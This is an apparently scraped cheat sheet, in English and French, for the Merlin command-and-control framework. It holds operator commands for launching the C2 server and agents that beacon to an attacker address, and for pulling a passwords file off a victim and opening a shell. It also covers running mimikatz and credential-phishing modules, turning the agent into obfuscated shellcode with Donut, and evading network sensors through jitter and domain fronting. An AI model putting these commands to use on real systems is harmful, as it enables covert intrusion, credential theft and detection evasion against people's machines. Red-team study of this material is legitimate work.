merlin

Serveur C2 multiplateforme utilisant HTTP/2 pour une communication chiffrée avec les agents. Les agents s'exécutent sur Windows, Linux et macOS avec la prise en charge de plusieurs protocoles et modules d'agent. Cross-platform C2 server using HTTP/2 for encrypted agent communication. Agents run on Windows, Linux, and macOS with support for multiple protocols and agent modules.

↗ https://github.com/Ne0nd0g/merlin

Overview

Merlin is a cross-platform C2 framework that uses HTTP/2 (or HTTP/3) for all agent-to-server communication — providing built-in encryption and multiplexing. Agents (merlin-agent) run on Windows, Linux, and macOS and communicate back to the Merlin server. Features a CLI and module system for post-exploitation.

Installation

# Download prebuilt release
# https://github.com/Ne0nd0g/merlin/releases

Or build from source

go get github.com/Ne0nd0g/merlin

Starting the Server

Start Merlin server

./merlinServer-Linux-x64 -i 0.0.0.0 -p 443 -protocol https

With a specific certificate

./merlinServer-Linux-x64 -cert server.crt -key server.key

Using HTTP/2

./merlinServer-Linux-x64 -protocol h2 -p 443

Using HTTP/3 (QUIC)

./merlinServer-Linux-x64 -protocol h3 -p 443

Agents

Linux agent

./merlinAgent-Linux-x64 -url https://10.10.10.50:443/

Windows agent (PowerShell)

.\merlinAgent-Windows-x64.exe -url https://10.10.10.50:443/

With custom sleep interval and jitter

./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -sleep 30s -skew 10

With proxy

./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -proxy http://proxy:8080

Merlin Console Commands

# List agents
agents

# Interact with an agent
agent interact <agent_id>

# Run commands on agent
cmd whoami
cmd systeminfo
cmd ipconfig /all

# Upload/download files
download C:\Users\user\passwords.txt
upload /local/tool.exe C:\temp\tool.exe

# Load a module
module use <module_name>
module show options
module run

# Shell access
shell /bin/bash

Modules

List available modules

module list
# Common modules:
# windows/x64/powershell/invoke-obfuscation
# windows/x64/powershell/invoke-mimikatz
# windows/x64/credentials/credphish
# linux/x64/bash/bash
# multi/recon/mimikatz

# Use a module
module use windows/x64/powershell/invoke-mimikatz
module run

Payload Generation (Merlin-Agent)

The agent binary itself is the payload Cross-compile for Windows from Linux

GOOS=windows GOARCH=amd64 go build -o merlinAgent.exe
# Or download precompiled from releases page

For obfuscation: wrap with Scarecrow or Donut Convert to shellcode with donut:

donut -i merlinAgent.exe -o merlin_shellcode.bin -a 2

Tips

  • HTTP/2 traffic looks like normal HTTPS to network sensors — good evasion
  • The server uses a random TLS certificate by default — replace with a real cert for better opsec
  • Use -sleep 60s -skew 20 for slower beaconing in low-detection environments
  • Combine with domain fronting for traffic routing through CDNs
Help / Man page
merlinServer [options]

-i IP         Listen IP (default: 127.0.0.1)
-p PORT       Listen port (default: 443)
-protocol     h2|h3|https|http|http2|quic
-cert FILE    TLS certificate
-key FILE     TLS key
-psk STR      Pre-shared key (agent auth)
-log FILE     Log file

merlinAgent [options]

-url URL      Merlin server URL
-sleep DURATION    Callback interval (default: 30s)
-skew N       Jitter percentage
-protocol     h2|h3|https
-proxy URL    HTTP proxy
-ja3 STR      JA3 fingerprint string

Vue d’ensemble

Merlin est un framework C2 multiplateforme qui utilise HTTP/2 (ou HTTP/3) pour toute la communication agent-serveur, offrant chiffrement et multiplexage natifs. Les agents (merlin-agent) s’exécutent sur Windows, Linux et macOS et communiquent avec le serveur Merlin. Il propose une CLI et un système de modules pour le post-exploitation.

Installation

# Télécharger la version précompilée
# https://github.com/Ne0nd0g/merlin/releases

# Ou compiler depuis les sources
go get github.com/Ne0nd0g/merlin

Démarrage du serveur

# Démarrer le serveur Merlin
./merlinServer-Linux-x64 -i 0.0.0.0 -p 443 -protocol https

# Avec un certificat spécifique
./merlinServer-Linux-x64 -cert server.crt -key server.key

# Utiliser HTTP/2
./merlinServer-Linux-x64 -protocol h2 -p 443

# Utiliser HTTP/3 (QUIC)
./merlinServer-Linux-x64 -protocol h3 -p 443

Agents

# Agent Linux
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/

# Agent Windows (PowerShell)
.\merlinAgent-Windows-x64.exe -url https://10.10.10.50:443/

# Avec un intervalle de sommeil et un jitter personnalisés
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -sleep 30s -skew 10

# Avec un proxy
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -proxy http://proxy:8080

Commandes de la console Merlin

# Lister les agents
agents

# Interagir avec un agent
agent interact <agent_id>

# Exécuter des commandes sur l'agent
cmd whoami
cmd systeminfo
cmd ipconfig /all

# Téléverser/télécharger des fichiers
download C:\Users\user\passwords.txt
upload /local/tool.exe C:\temp\tool.exe

# Charger un module
module use <module_name>
module show options
module run

# Accès shell
shell /bin/bash

Modules

# Lister les modules disponibles
module list

# Modules courants :
# windows/x64/powershell/invoke-obfuscation
# windows/x64/powershell/invoke-mimikatz
# windows/x64/credentials/credphish
# linux/x64/bash/bash
# multi/recon/mimikatz

# Utiliser un module
module use windows/x64/powershell/invoke-mimikatz
module run

Génération de payload (Merlin-Agent)

# Le binaire de l'agent est lui-même le payload : compilation croisée pour Windows depuis Linux
GOOS=windows GOARCH=amd64 go build -o merlinAgent.exe

# Ou télécharger la version précompilée depuis la page des releases

# Pour l'obfuscation : encapsuler avec Scarecrow ou Donut, puis convertir en shellcode avec donut
donut -i merlinAgent.exe -o merlin_shellcode.bin -a 2

Conseils

  • Le trafic HTTP/2 ressemble à du HTTPS normal pour les sondes réseau, ce qui offre une bonne évasion
  • Le serveur utilise un certificat TLS aléatoire par défaut, le remplacer par un certificat réel pour une meilleure opsec
  • Utiliser -sleep 60s -skew 20 pour un beaconing plus lent dans les environnements à faible détection
  • Combiner avec le domain fronting pour router le trafic via des CDN
Aide / Page de manuel
merlinServer [options]

-i IP         Listen IP (default: 127.0.0.1)
-p PORT       Listen port (default: 443)
-protocol     h2|h3|https|http|http2|quic
-cert FILE    TLS certificate
-key FILE     TLS key
-psk STR      Pre-shared key (agent auth)
-log FILE     Log file

merlinAgent [options]

-url URL      Merlin server URL
-sleep DURATION    Callback interval (default: 30s)
-skew N       Jitter percentage
-protocol     h2|h3|https
-proxy URL    HTTP proxy
-ja3 STR      JA3 fingerprint string